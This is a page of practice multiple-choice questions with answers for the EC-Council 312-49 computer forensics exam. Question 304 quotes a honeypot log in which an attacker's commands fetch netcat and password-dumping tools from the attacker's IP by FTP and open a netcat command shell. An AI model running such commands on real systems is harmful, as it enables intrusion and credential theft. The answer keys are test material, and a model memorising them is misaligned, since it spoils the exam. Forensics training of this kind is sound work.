EC-COUNCIL 312-49 Online Practice Questions and Exam Preparation

EC-COUNCIL 312-49 Online Questions & Answers

• Question 301:

  When you are running a vulnerability scan on a network and the IDS cuts off your connection, what type of IDS is being used?

  A. Passive IDS
  B. Active IDS
  C. Progressive IDS
  D. NIPS
  B. Active IDS

• Question 302:

  In a forensic examination of hard drives for digital evidence, what type of user is most likely to have the most file slack to analyze?

  A. one who has NTFS 4 or 5 partitions
  B. one who uses dynamic swap file capability
  C. one who uses hard disk writes on IRQ 13 and 21
  D. one who has lots of allocation units per block or cluster
  D. one who has lots of allocation units per block or cluster

• Question 303:

  You are working for a local police department that services a population of 1,000,000 people and you have been given the task of building a computer forensics lab. How many law-enforcement computer investigators should you request to staff the lab?

  A. 8
  B. 1
  C. 4
  D. 2
  C. 4

• Question 304:

  The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in

  arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini. He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a

  malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly.

  The attacker makes a RDS query which results in the commands run as shown below.

  "cmd1.exe /c open 213.116.251.162 >ftpcom"

  "cmd1.exe /c echo johna2k >>ftpcom"

  "cmd1.exe /c echo haxedj00 >>ftpcom"

  "cmd1.exe /c echo get nc.exe >>ftpcom"

  "cmd1.exe /c echo get pdump.exe >>ftpcom"

  "cmd1.exe /c echo get samdump.dll >>ftpcom"

  "cmd1.exe /c echo quit >>ftpcom"

  "cmd1.exe /c ftp -s:ftpcom"

  "cmd1.exe /c nc -l -p 6969 -e cmd1.exe"

  What can you infer from the exploit given?

  A. It is a local exploit where the attacker logs in using username johna2k
  B. There are two attackers on the system - johna2k and haxedj00
  C. The attack is a remote exploit and the hacker downloads three files
  D. The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port
  C. The attack is a remote exploit and the hacker downloads three files

• Question 305:

  During an investigation of an XSS attack, the investigator comes across the term "[a-zA-Z0-9\%]+" in analyzed evidence details. What is the expression used for?

  A. Checks for upper and lower-case alphanumeric string inside the tag, or its hex representation
  B. Checks for forward slash used in HTML closing tags, its hex or double-encoded hex equivalent
  C. Checks for opening angle bracket, its hex or double-encoded hex equivalent
  D. Checks for closing angle bracket, hex or double-encoded hex equivalent
  B. Checks for forward slash used in HTML closing tags, its hex or double-encoded hex equivalent

• Question 306:

  Which of the following commands shows you the names of all open shared files on a server and the number of file locks on each file?

  A. Net config
  B. Net file
  C. Net share
  D. Net sessions
  B. Net file

• Question 307:

  Graphics Interchange Format (GIF) is a ____ RGB bitmap image format for images with up to 256 distinct colors per frame.

  A. 8-bit
  B. 32-bit
  C. 16-bit
  D. 24-bit
  A. 8-bit

• Question 308:

  When reviewing web logs, you see an entry for resource not found in the HTTP status code field. What is the actual error code that you would see in the log for resource not found?

  A. 202
  B. 404
  C. 606
  D. 999
  B. 404

• Question 309:

  Bob has been trying to penetrate a remote production system for the past two weeks. This time however, he is able to get into the system. He was able to use the System for a period of three weeks. However, law enforcement agencies were

  recoding his every activity and this was later presented as evidence.

  The organization had used a Virtual Environment to trap Bob. What is a Virtual Environment?

  A. A Honeypot that traps hackers
  B. A system Using Trojaned commands
  C. An environment set up after the user logs in
  D. An environment set up before a user logs in
  A. A Honeypot that traps hackers

• Question 310:

  What TCP/UDP port does the toolkit program netstat use?

  A. Port 7
  B. Port 15
  C. Port 23
  D. Port 69
  B. Port 15